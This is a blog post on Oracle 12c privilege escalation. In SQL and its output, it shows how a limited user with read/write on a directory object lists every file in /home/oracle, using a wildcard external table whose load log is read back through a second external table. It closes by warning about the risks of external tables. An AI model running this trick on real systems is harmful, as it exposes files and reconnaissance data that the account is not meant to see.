I’ve wrote about privilege escalation with external tables in this post:
https://blog.ora-600.pl/2014/12/23/simple-technics-of-privilege-escalation-part2-dbasysdba/
This time we will try to list all files within directory object, to which we have no EXECUTE privs. This is possible due to great new feature of database 12c that allows to use metacharacters to match multiple files in external table.
I have database 12c:
1 | SQL> select banner from v$version; |
2 |
3 | BANNER |
4 | -------------------------------------------------------------------------------- |
5 | Oracle Database 12c Enterprise Edition Release 12.1.0.2.0 - 64bit Production |
6 | PL/SQL Release 12.1.0.2.0 - Production |
7 | CORE 12.1.0.2.0 Production |
8 | TNS for Linux: Version 12.1.0.2.0 - Production |
9 | NLSRTL Version 12.1.0.2.0 - Production |
And I’ll create a sample user with limited privileges:
1 | SQL> create user rico identified by kaboom; |
2 |
3 | User created. |
4 |
5 | SQL> create or replace directory dir_oracle as '/home/oracle'; |
6 |
7 | Directory created. |
8 |
9 | SQL> grant connect, resource to rico; |
10 |
11 | Grant succeeded. |
12 |
13 | SQL> grant read, write on directory dir_oracle to rico; |
14 |
15 | Grant succeeded. |
Now let’s try to list all files in directory DIR_ORACLE using just external tables.
First we will create external table which will try to read all files from this directory:
1 | SQL> conn rico/kaboom |
2 | Connected. |
3 | SQL> get exttab |
4 | 1 CREATE TABLE gen_list ( |
5 | 2 txt varchar2(4000) |
6 | 3 ) |
7 | 4 ORGANIZATION EXTERNAL ( |
8 | 5 TYPE ORACLE_LOADER |
9 | 6 DEFAULT DIRECTORY dir_oracle |
10 | 7 ACCESS PARAMETERS ( |
11 | 8 RECORDS DELIMITED BY NEWLINE |
12 | 9 LOGFILE '.ls.log' |
13 | 10 DISABLE_DIRECTORY_LINK_CHECK |
14 | 11 FIELDS TERMINATED BY ',' |
15 | 12 MISSING FIELD VALUES ARE NULL |
16 | 13 ( |
17 | 14 txt |
18 | 15 ) |
19 | 16 ) |
20 | 17 LOCATION ('*') |
21 | 18 ) |
22 | 19* REJECT LIMIT 0 |
23 | SQL> / |
24 |
25 | Table created. |
Selecting from this table will probably cause error and return no values – but it will create a logfile – .ls.log
And this log we will read using another table 😉
1 | SQL> ed |
2 | Wrote file afiedt.buf |
3 |
4 | 1 CREATE TABLE get_list ( |
5 | 2 txt varchar2(4000) |
6 | 3 ) |
7 | 4 ORGANIZATION EXTERNAL ( |
8 | 5 TYPE ORACLE_LOADER |
9 | 6 DEFAULT DIRECTORY dir_oracle |
10 | 7 ACCESS PARAMETERS ( |
11 | 8 RECORDS DELIMITED BY NEWLINE |
12 | 9 NOLOGFILE |
13 | 10 DISABLE_DIRECTORY_LINK_CHECK |
14 | 11 FIELDS TERMINATED BY ',' |
15 | 12 MISSING FIELD VALUES ARE NULL |
16 | 13 ( |
17 | 14 txt |
18 | 15 ) |
19 | 16 ) |
20 | 17 LOCATION ('.ls.log') |
21 | 18 ) |
22 | 19* REJECT LIMIT 0 |
23 | SQL> / |
24 |
25 | Table created. |
26 |
27 | SQL> select * from get_list; |
28 |
29 | TXT |
30 | -------------------------------------------------------------------------------- |
31 |
32 |
33 | LOG file opened at 02/10/16 23:32:54 |
34 |
35 | KUP-05004: Warning: Intra source concurrency disabled because parallel select |
36 | was not requested. |
37 |
38 |
39 | Location specification * has a wild card |
40 | Matching files are: |
41 | .Xauthority |
42 |
43 | TXT |
44 | -------------------------------------------------------------------------------- |
45 | .bash_history |
46 | .bash_logout |
47 | .bash_profile |
48 | .bashrc |
49 | .grid |
50 | .kshrc |
51 | .lesshst |
52 | .ls.log |
53 | .orcl |
54 | afiedt.buf |
55 | aggr.sql |
56 |
57 | TXT |
58 | -------------------------------------------------------------------------------- |
59 | alter.sql |
60 | bash_profile.txt |
61 | bh.sql |
62 | count.sql |
63 | dbm.env |
64 | disks.sql |
65 | ehcc.sql |
66 | exttab.sql |
67 | fmw_12.1.3.0.0_infrastructure.jar |
68 | fmw_12.1.3.0.0_odi.jar |
69 | grid.env |
70 |
71 | TXT |
72 | -------------------------------------------------------------------------------- |
73 | grid.env.bck |
74 | hardcopy.0 |
75 | hr_spatial.dmp |
76 | hr_spatial.log |
77 | im_off.sql |
78 | im_on.sql |
79 | im_query1.sql |
80 | im_query2.sql |
81 | im_status.sql |
82 | install2015-04-23_11-44-25.log |
83 | install2015-04-23_11-57-20.log |
84 |
85 | TXT |
86 | -------------------------------------------------------------------------------- |
87 | java0.log |
88 | join_group_small.sql |
89 | my_init.ora |
90 | ne |
91 | netstat |
92 | off_off.sql |
93 | off_on.sql |
94 | oratop.RDBMS_12.1_LINUX_X64 |
95 | orcl.env |
96 | orcl.env.bck |
97 | orcl1.env |
98 |
99 | TXT |
100 | -------------------------------------------------------------------------------- |
101 | orcl2.env |
102 | orcl3.env |
103 | orcl4.env |
104 | plan.sql |
105 | planoff.sql |
106 | planon.sql |
107 | ps_q01.sql |
108 | ps_q01plan.sql |
109 | q.sql |
110 | q01.sql |
111 | sales_six.sql |
112 |
113 | TXT |
114 | -------------------------------------------------------------------------------- |
115 | saprse_dg.sql |
116 | sesja1.sql |
117 | sesja2.sql |
118 | sesja3.sql |
119 | set_cluster_interconnect.lst |
120 | set_cluster_interconnect.wk1 |
121 | size.sql |
122 | small_Table.sql |
123 | snapshot.sql |
124 | spid.sql |
125 | sql_stat.sql |
126 |
127 | TXT |
128 | -------------------------------------------------------------------------------- |
129 | sqldeveloper-4.1.2.20.64-x64.zip |
130 | ssb.tar |
131 | tables.sql |
132 | test.xml |
133 | union.sql |
134 | v |
135 | val.sql |
136 | with.sql |
137 | zap.sql |
138 | zap1.sql |
139 | zap2.sql |
140 |
141 | TXT |
142 | -------------------------------------------------------------------------------- |
143 | zap4.sql |
144 | zap5.sql |
145 | zap6.sql |
146 |
147 | Field Definitions for table GEN_LIST |
148 | Record format DELIMITED BY NEWLINE |
149 | Data in file has same endianness as the platform |
150 | Rows with all null fields are accepted |
151 |
152 | Fields in Data Source: |
153 |
154 |
155 | TXT |
156 | -------------------------------------------------------------------------------- |
157 | TXT CHAR (255) |
158 | Terminated by " |
159 | Trim whitespace same as SQL Loader |
That’s it 😉
So use external tables with attention. They are powerful and can be dangerous.